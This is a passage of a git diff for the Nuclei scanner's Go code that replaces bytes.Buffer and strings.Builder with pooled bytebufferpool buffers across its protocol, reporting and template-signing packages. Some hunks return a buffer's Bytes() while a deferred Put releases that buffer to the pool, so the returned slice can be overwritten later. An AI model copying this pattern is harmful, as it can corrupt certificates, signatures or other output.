5953c9c296..94daab2645 100644 --- a/pkg/protocols/javascript/js.go +++ b/pkg/protocols/javascript/js.go @@ -1,7 +1,6 @@ package javascript import ( - "bytes" "context" "fmt" "net" @@ -38,6 +37,7 @@ import ( mapsutil "github.com/projectdiscovery/utils/maps" syncutil "github.com/projectdiscovery/utils/sync" urlutil "github.com/projectdiscovery/utils/url" + "github.com/valyala/bytebufferpool" ) // Request is a request for the javascript protocol @@ -145,8 +145,9 @@ func (request *Request) Compile(options *protocols.ExecutorOptions) error { if request.options.Options.NoColor { highlightFormatter = "text" } - var buff bytes.Buffer - _ = quick.Highlight(&buff, beautifyJavascript(request.Init), "javascript", highlightFormatter, "monokai") + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + _ = quick.Highlight(buff, beautifyJavascript(request.Init), "javascript", highlightFormatter, "monokai") prettyPrint(request.TemplateID, buff.String()) } @@ -331,8 +332,9 @@ func (request *Request) ExecuteWithResults(target *contextargs.Context, dynamicV if requestOptions.Options.NoColor { highlightFormatter = "text" } - var buff bytes.Buffer - _ = quick.Highlight(&buff, beautifyJavascript(request.PreCondition), "javascript", highlightFormatter, "monokai") + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + _ = quick.Highlight(buff, beautifyJavascript(request.PreCondition), "javascript", highlightFormatter, "monokai") prettyPrint(request.TemplateID, buff.String()) } @@ -539,8 +541,9 @@ func (request *Request) executeRequestWithPayloads(hostPort string, input *conte if requestOptions.Options.NoColor { highlightFormatter = "text" } - var buff bytes.Buffer - _ = quick.Highlight(&buff, beautifyJavascript(request.Code), "javascript", highlightFormatter, "monokai") + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + _ = quick.Highlight(buff, beautifyJavascript(request.Code), "javascript", highlightFormatter, "monokai") prettyPrint(request.TemplateID, buff.String()) } if requestOptions.Options.StoreResponse { diff --git a/pkg/protocols/network/request.go b/pkg/protocols/network/request.go index f7b11fbb53..a8c4fbaf6c 100644 --- a/pkg/protocols/network/request.go +++ b/pkg/protocols/network/request.go @@ -12,6 +12,7 @@ import ( "time" "github.com/pkg/errors" + "github.com/valyala/bytebufferpool" "go.uber.org/multierr" "golang.org/x/exp/maps" @@ -303,7 +304,10 @@ func (request *Request) executeRequestWithPayloads(variables map[string]interfac var interactshURLs []string - var responseBuilder, reqBuilder strings.Builder + responseBuilder := bytebufferpool.Get() + reqBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(responseBuilder) + defer bytebufferpool.Put(reqBuilder) interimValues := generators.MergeMaps(variables, payloads) diff --git a/pkg/protocols/offlinehttp/operators.go b/pkg/protocols/offlinehttp/operators.go index f69abc4412..4b6a2c8908 100644 --- a/pkg/protocols/offlinehttp/operators.go +++ b/pkg/protocols/offlinehttp/operators.go @@ -14,6 +14,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter" "github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils" "github.com/projectdiscovery/nuclei/v3/pkg/types" + "github.com/valyala/bytebufferpool" ) // Match matches a generic data response again a given matcher @@ -83,7 +84,8 @@ func getMatchPart(part string, data output.InternalEvent) (string, bool) { var itemStr string if part == "all" { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString(types.ToString(data["body"])) builder.WriteString(types.ToString(data["all_headers"])) itemStr = builder.String() diff --git a/pkg/protocols/utils/utils.go b/pkg/protocols/utils/utils.go index 9f65b7b6ac..f2e888bfa4 100644 --- a/pkg/protocols/utils/utils.go +++ b/pkg/protocols/utils/utils.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/projectdiscovery/nuclei/v3/pkg/types" + "github.com/valyala/bytebufferpool" ) // CleanStructFieldJSONTag cleans struct json tag field @@ -50,7 +51,8 @@ func CalculateContentLength(contentLength, bodyLength int64) int64 { // headersToString converts http headers to string func HeadersToString(headers http.Header) string { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) for header, values := range headers { builder.WriteString(header) @@ -60,12 +62,12 @@ func HeadersToString(headers http.Header) string { builder.WriteString(value) if i != len(values)-1 { - builder.WriteRune('\n') + builder.WriteByte('\n') builder.WriteString(header) builder.WriteString(": ") } } - builder.WriteRune('\n') + builder.WriteByte('\n') } return builder.String() } diff --git a/pkg/protocols/websocket/websocket.go b/pkg/protocols/websocket/websocket.go index 8eeeedf217..70aba7ca84 100644 --- a/pkg/protocols/websocket/websocket.go +++ b/pkg/protocols/websocket/websocket.go @@ -14,6 +14,7 @@ import ( "github.com/gobwas/ws" "github.com/gobwas/ws/wsutil" "github.com/pkg/errors" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/fastdialer/fastdialer" "github.com/projectdiscovery/gologger" @@ -235,7 +236,8 @@ func (request *Request) executeRequestWithPayloads(target *contextargs.Context, } defer conn.Close() - responseBuilder := &strings.Builder{} + responseBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(responseBuilder) if readBuffer != nil { _, _ = io.Copy(responseBuilder, readBuffer) // Copy initial response } @@ -290,14 +292,13 @@ func (request *Request) executeRequestWithPayloads(target *contextargs.Context, return nil } -func (request *Request) readWriteInputWebsocket(conn net.Conn, payloadValues map[string]interface{}, input string, respBuilder *strings.Builder) (events map[string]interface{}, req string, err error) { - reqBuilder := &strings.Builder{} +func (request *Request) readWriteInputWebsocket(conn net.Conn, payloadValues map[string]interface{}, input string, respBuilder *bytebufferpool.ByteBuffer) (events map[string]interface{}, req string, err error) { + reqBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(reqBuilder) inputEvents := make(map[string]interface{}) requestOptions := request.options for _, req := range request.Inputs { - reqBuilder.Grow(len(req.Data)) - finalData, dataErr := expressions.EvaluateByte([]byte(req.Data), payloadValues) if dataErr != nil { requestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), dataErr) diff --git a/pkg/reporting/exporters/markdown/markdown.go b/pkg/reporting/exporters/markdown/markdown.go index b294c971e1..2445b887d4 100644 --- a/pkg/reporting/exporters/markdown/markdown.go +++ b/pkg/reporting/exporters/markdown/markdown.go @@ -1,13 +1,12 @@ package markdown import ( - "bytes" "os" "path/filepath" - "strings" "github.com/google/uuid" "github.com/projectdiscovery/gologger" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/nuclei/v3/pkg/output" "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util" @@ -102,7 +101,8 @@ func (exporter *Exporter) Export(event *output.ResultEvent) error { return err } - dataBuilder := &bytes.Buffer{} + dataBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(dataBuilder) dataBuilder.WriteString(util.CreateHeading3(format.Summary(event))) dataBuilder.WriteString("\n") dataBuilder.WriteString(util.CreateHorizontalLine()) @@ -113,7 +113,8 @@ func (exporter *Exporter) Export(event *output.ResultEvent) error { } func createFileName(event *output.ResultEvent) string { - filenameBuilder := &strings.Builder{} + filenameBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(filenameBuilder) filenameBuilder.WriteString(event.TemplateID) filenameBuilder.WriteString("-") filenameBuilder.WriteString(event.Host) @@ -127,7 +128,7 @@ func createFileName(event *output.ResultEvent) string { suffix = event.ExtractorName } if suffix != "" { - filenameBuilder.WriteRune('-') + filenameBuilder.WriteString("-") filenameBuilder.WriteString(event.MatcherName) } filenameBuilder.WriteString(extension) diff --git a/pkg/reporting/exporters/markdown/util/markdown_utils.go b/pkg/reporting/exporters/markdown/util/markdown_utils.go index b9a6744059..a17cc8211c 100644 --- a/pkg/reporting/exporters/markdown/util/markdown_utils.go +++ b/pkg/reporting/exporters/markdown/util/markdown_utils.go @@ -1,11 +1,11 @@ package util import ( - "bytes" "fmt" "strings" errorutil "github.com/projectdiscovery/utils/errors" + "github.com/valyala/bytebufferpool" ) func CreateLink(title string, url string) string { @@ -17,7 +17,8 @@ func MakeBold(text string) string { } func CreateTable(headers []string, rows [][]string) (string, error) { - builder := &bytes.Buffer{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) headerSize := len(headers) if headers == nil || headerSize == 0 { return "", errorutil.New("No headers provided") diff --git a/pkg/reporting/format/format_utils.go b/pkg/reporting/format/format_utils.go index 92976d30f6..72825ba829 100644 --- a/pkg/reporting/format/format_utils.go +++ b/pkg/reporting/format/format_utils.go @@ -1,7 +1,6 @@ package format import ( - "bytes" "fmt" "strconv" "strings" @@ -13,6 +12,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/types" "github.com/projectdiscovery/nuclei/v3/pkg/utils" unitutils "github.com/projectdiscovery/utils/unit" + "github.com/valyala/bytebufferpool" ) // Summary returns a formatted built one line summary of the event @@ -44,7 +44,8 @@ var ( func CreateReportDescription(event *output.ResultEvent, formatter ResultFormatter, omitRaw bool) string { template := GetMatchedTemplateName(event) - builder := &bytes.Buffer{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString(fmt.Sprintf("%s: %s matched at %s\n\n", formatter.MakeBold("Details"), formatter.MakeBold(template), event.Host)) attributes := utils.NewEmptyInsertionOrderedStringMap(3) diff --git a/pkg/reporting/reporting.go b/pkg/reporting/reporting.go index 20fe85f1a6..d6bc5c0913 100644 --- a/pkg/reporting/reporting.go +++ b/pkg/reporting/reporting.go @@ -2,11 +2,12 @@ package reporting import ( "fmt" - "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo" "os" - "strings" "sync/atomic" + "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo" + "github.com/valyala/bytebufferpool" + "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config" json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter" @@ -254,7 +255,8 @@ func (c *ReportingClient) Close() { if created == 0 { continue } - var msgBuilder strings.Builder + msgBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(msgBuilder) msgBuilder.WriteString(fmt.Sprintf("%d %s tickets created successfully", created, trackerName)) failed := stats.Failed.Load() if failed > 0 { diff --git a/pkg/templates/signer/handler.go b/pkg/templates/signer/handler.go index 860719143b..7a898bce7d 100644 --- a/pkg/templates/signer/handler.go +++ b/pkg/templates/signer/handler.go @@ -1,7 +1,6 @@ package signer import ( - "bytes" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" @@ -17,6 +16,7 @@ import ( "github.com/projectdiscovery/gologger" fileutil "github.com/projectdiscovery/utils/file" "github.com/rs/xid" + "github.com/valyala/bytebufferpool" "golang.org/x/term" ) @@ -228,8 +228,9 @@ func (k *KeyHandler) generateCertWithKey(identifier string, privateKey *ecdsa.Pr return nil, err } - var certOut bytes.Buffer - if err := pem.Encode(&certOut, &pem.Block{Type: CertType, Bytes: derBytes}); err != nil { + certOut := bytebufferpool.Get() + defer bytebufferpool.Put(certOut) + if err := pem.Encode(certOut, &pem.Block{Type: CertType, Bytes: derBytes}); err != nil { return nil, err } return certOut.Bytes(), nil diff --git a/pkg/templates/signer/tmpl_signer.go b/pkg/templates/signer/tmpl_signer.go index 35536ab6ec..9a17200c5b 100644 --- a/pkg/templates/signer/tmpl_signer.go +++ b/pkg/templates/signer/tmpl_signer.go @@ -17,6 +17,7 @@ import ( "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config" errorutil "github.com/projectdiscovery/utils/errors" + "github.com/valyala/bytebufferpool" ) var ( @@ -94,14 +95,16 @@ func (t *TemplateSigner) Sign(data []byte, tmpl SignableTemplate) (string, error } } - buff := bytes.NewBuffer(content) + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + buff.Write(content) // if file has any imports process them for _, file := range tmpl.GetFileImports() { bin, err := os.ReadFile(file) if err != nil { return "", err } - buff.WriteRune('\n') + buff.Write([]byte{'\n'}) buff.Write(bin) } signatureData, err := t.sign(buff.Bytes()) @@ -120,8 +123,9 @@ func (t *TemplateSigner) sign(data []byte) (string, error) { if err != nil { return "", err } - var signatureData bytes.Buffer - if err := gob.NewEncoder(&signatureData).Encode(ecdsaSignature); err != nil { + signatureData := bytebufferpool.Get() + defer bytebufferpool.Put(signatureData) + if err := gob.NewEncoder(signatureData).Encode(ecdsaSignature); err != nil { return "", err } return fmt.Sprintf(SignatureFmt, signatureData.Bytes(), t.GetUserFragment()), nil @@ -150,14 +154,16 @@ func (t *TemplateSigner) Verify(data []byte, tmpl SignableTemplate) (bool, error // it does not affect the actual template content = bytes.ReplaceAll(content, []byte("\r\n"), []byte("\n")) - buff := bytes.NewBuffer(content) + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + buff.Write(content) // if file has any imports process them for _, file := range tmpl.GetFileImports() { bin, err := os.ReadFile(file) if err != nil { return false, err } - buff.WriteRune('\n') + buff.Write([]byte{'\n'}) buff.Write(bin) } diff --git a/pkg/templates/template_sign.go b/pkg/templates/template_sign.go index 1eb09a447c..10cc518adb 100644 --- a/pkg/templates/template_sign.go +++ b/pkg/templates/template_sign.go @@ -15,6 +15,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/templates/signer" "github.com/projectdiscovery/nuclei/v3/pkg/types" errorutil "github.com/projectdiscovery/utils/errors" + "github.com/valyala/bytebufferpool" ) // Due to file references in sensitive fields of template @@ -80,7 +81,9 @@ func SignTemplate(templateSigner *signer.TemplateSigner, templatePath string) er if err != nil { return err } - buff := bytes.NewBuffer(content) + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + buff.Write(content) buff.WriteString("\n" + signatureData) return os.WriteFile(templatePath, buff.Bytes(), 0644) } diff --git a/pkg/tmplexec/generic/exec.go b/pkg/tmplexec/generic/exec.go index c017810e75..814186d5d9 100644 --- a/pkg/tmplexec/generic/exec.go +++ b/pkg/tmplexec/generic/exec.go @@ -1,7 +1,6 @@ package generic import ( - "strings" "sync/atomic" "github.com/projectdiscovery/gologger" @@ -9,6 +8,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/protocols" "github.com/projectdiscovery/nuclei/v3/pkg/scan" mapsutil "github.com/projectdiscovery/utils/maps" + "github.com/valyala/bytebufferpool" ) // generic engine as name suggests is a generic template @@ -66,7 +66,8 @@ func (g *Generic) ExecuteWithResults(ctx *scan.ScanContext) error { } ID := req.GetID() if ID != "" { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) for k, v := range event.InternalEvent { builder.WriteString(ID) builder.WriteString("_") diff --git a/pkg/tmplexec/multiproto/multi.go b/pkg/tmplexec/multiproto/multi.go index d50e168aca..96ff07bc7b 100644 --- a/pkg/tmplexec/multiproto/multi.go +++ b/pkg/tmplexec/multiproto/multi.go @@ -2,7 +2,6 @@ package multiproto import ( "strconv" - "strings" "sync/atomic" "github.com/projectdiscovery/nuclei/v3/pkg/output" @@ -12,6 +11,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/templates/types" mapsutil "github.com/projectdiscovery/utils/maps" stringsutil "github.com/projectdiscovery/utils/strings" + "github.com/valyala/bytebufferpool" ) // Mutliprotocol is a template executer engine that executes multiple protocols @@ -92,7 +92,8 @@ func (m *MultiProtocol) ExecuteWithResults(ctx *scan.ScanContext) error { ID := req.GetID() if ID != "" { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) for k, v := range event.InternalEvent { builder.WriteString(ID) builder.WriteString("_") diff --git a/pkg/types/interfaces.go b/pkg/types/interfaces.go index 21293de5d7..00a3ddfa86 100644 --- a/pkg/types/interfaces.go +++ b/pkg/types/interfaces.go @@ -3,7 +3,6 @@ package types import ( - "bytes" "encoding/hex" "fmt" "strconv" @@ -11,6 +10,7 @@ import ( "github.com/asaskevich/govalidator" "github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity" + "github.com/valyala/bytebufferpool" ) // JSONScalarToString converts an interface coming from json to string @@ -136,7 +136,8 @@ func ToByteSlice(i interface{}) []byte { case string: return []byte(v) case []interface{}: - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) for _, u := range v { buff.WriteString(ToString(u)) } diff --git a/pkg/utils/monitor/monitor.go b/pkg/utils/monitor/monitor.go index cefb9506b8..d4ff99653d 100644 --- a/pkg/utils/monitor/monitor.go +++ b/pkg/utils/monitor/monitor.go @@ -9,7 +9,6 @@ import ( "fmt" "os" "runtime" - "strings" "sync" "time" @@ -18,6 +17,7 @@ import ( permissionutil "github.com/projectdiscovery/utils/permission" unitutils "github.com/projectdiscovery/utils/unit" "github.com/rs/xid" + "github.com/valyala/bytebufferpool" ) // Agent is an agent for monitoring hanging programs @@ -130,8 +130,9 @@ var getStack = func(all bool) []byte { // generateStackTraceSlice returns a list of current stack in string slice format func generateStackTraceSlice(stack []byte) []string { goroutines, _ := gostackparse.Parse(bytes.NewReader(stack)) + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) - var builder strings.Builder var stackList []string for _, goroutine := range goroutines { builder.WriteString(goroutine.State) diff --git a/pkg/utils/utils.go b/pkg/utils/utils.go index 9a8c669f9b..15e59c0f2f 100644 --- a/pkg/utils/utils.go +++ b/pkg/utils/utils.go @@ -11,6 +11,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/catalog" "github.com/projectdiscovery/retryablehttp-go" mapsutil "github.com/projectdiscovery/utils/maps" + "github.com/valyala/bytebufferpool" "golang.org/x/exp/constraints" ) @@ -65,7 +66,8 @@ func StringSliceContains(slice []string, item string) bool { // MapHash generates a hash for any give map func MapHash[K constraints.Ordered, V any](m map[K]V) uint64 { keys := mapsutil.GetSortedKeys(m) - var sb strings.Builder + sb := bytebufferpool.Get() + defer bytebufferpool.Put(sb) for _, k := range keys { sb.WriteString(fmt.Sprintf("%v:%v\n", k, m[k])) }